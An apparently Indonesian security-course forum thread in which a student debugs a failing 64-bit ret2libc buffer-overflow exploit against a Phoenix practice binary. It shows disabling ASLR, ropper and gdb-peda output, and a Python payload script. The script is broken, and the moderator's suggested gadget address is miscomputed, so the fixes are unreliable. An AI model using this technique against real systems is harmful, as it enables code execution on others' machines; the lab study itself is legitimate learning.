Praktek Overflow 64-Bit Keluar Error

Tagged: Overflow 64-Bit

This topic has 5 replies, 2 voices, and was last updated 2 years, 9 months ago by Coach Williams.

Viewing 6 posts - 1 through 6 (of 6 total)

Author

Posts
January 30, 2024 at 7:21 AM #229327
alvinchandra.h
Participant
=========================Run exploit=========================
┌──(alvin㉿kali)-[~/Documents/ITBOX/phoenix/64bit]
└─$ (cat payload.txt;cat) | ./vuln

Read 136 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
Exploit me 🙁
ls
zsh: broken pipe ( cat payload.txt; cat; ) |
zsh: segmentation fault ./vuln
=============================================================
=====================version kali===========================
┌──(alvin㉿kali)-[~/Documents/ITBOX/phoenix/64bit]
└─$ lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux Rolling
Release: 2023.4
Codename: kali-rolling
sewaktu exploit dijalankan malah error zsh: broken pipe dan zsh: segmentation fault yang didapat kak padahal sudah ikuti yang di video?
saya pakai Kali purple dan terus dimasukan semua code yg dimasukan malah dianggap spam disini
January 30, 2024 at 7:22 AM #229329
alvinchandra.h
Participant
=====================mematikan aslr=====================
┌──(root㉿kali)-[/home/…/Documents/ITBOX/phoenix/64bit]
└─# echo 0 > /proc/sys/kernel/randomize_va_space

┌──(root㉿kali)-[/home/…/Documents/ITBOX/phoenix/64bit]
└─# exit

┌──(alvin㉿kali)-[~/Documents/ITBOX/phoenix/64bit]
└─$ ldd vuln
linux-vdso.so.1 (0x00007ffff7fc9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dc9000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)

┌──(alvin㉿kali)-[~/Documents/ITBOX/phoenix/64bit]
└─$ ldd vuln
linux-vdso.so.1 (0x00007ffff7fc9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dc9000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)
=============================================================
=========================ropper=============================
sudo ropper –file /usr/lib/x86_64-linux-gnu/libc.so.6 –search “pop rdi”
0x0000000000027c65: pop rdi; ret;
=============================================================
===========================gdb==============================
gdb-peda$ p system
$7 = {int (const char *)} 0x7ffff7e15920 <__libc_system>
gdb-peda$ find “/bin/sh”
Searching for ‘/bin/sh’ in: None ranges
Found 1 results, display max 1 items:
libc.so.6 : 0x7ffff7f5f04f –> 0x68732f6e69622f (‘/bin/sh’)
gdb-peda$ vmmap
Start End Perm Name
0x00007ffff7dc6000 0x00007ffff7dc9000 rw-p mapped
0x00007ffff7dc9000 0x00007ffff7def000 r–p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7def000 0x00007ffff7f44000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f44000 0x00007ffff7f98000 r–p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f98000 0x00007ffff7f9c000 r–p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f9c000 0x00007ffff7f9e000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f9e000 0x00007ffff7fab000 rw-p mapped
0x00007ffff7fc3000 0x00007ffff7fc5000 rw-p mapped
0x00007ffff7fc5000 0x00007ffff7fc9000 r–p [vvar]
0x00007ffff7fc9000 0x00007ffff7fcb000 r-xp [vdso]
0x00007ffff7fcb000 0x00007ffff7fcc000 r–p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fcc000 0x00007ffff7ff1000 r-xp /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ff1000 0x00007ffff7ffb000 r–p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 r–p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 rw-p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
gdb-peda$ x/2i 0x00007ffff7dc9000 + 0x0000000000027c65
0x7ffff7df0c65 <iconv+197>: pop rdi
0x7ffff7df0c66 <iconv+198>: ret
January 30, 2024 at 7:24 AM #229330
alvinchandra.h
Participant
=========================nx_exploit==========================
import struct
import sys

padding =”A”*96
padding +=”B”*8 #8 byte untuk menuju rip
system_addr = struct.pack(“<Q”,0x7ffff7e15920)
bin_sh = struct.pack(“<Q”,0x7ffff7f5f04f)
gadget = struct.pack(“<Q”,0x0000000000027c65) # pop rdi; ret
ret_gadget = struct.pack(“<Q”,0x7ffff7df0c65)

payload = padding + gadget + bin_sh + ret_gadget + system_addr

sys.stdout.write(payload)
=============================================================
January 30, 2024 at 3:50 PM #229385
Coach Williams
Moderator
gadget itu g boleh ada payload \x00 itu artinya EOF nanti bikin exploit g jalan
January 30, 2024 at 7:01 PM #229418
alvinchandra.h
Participant
Bearti alamat gadget jadi 0x27c65 gitu kak?
February 1, 2024 at 8:34 PM #229551
Coach Williams
Moderator
base addr harus dtaruh juga jadi: 0x7ffff7027c65
Author

Posts

Viewing 6 posts - 1 through 6 (of 6 total)

You must be logged in to reply to this topic.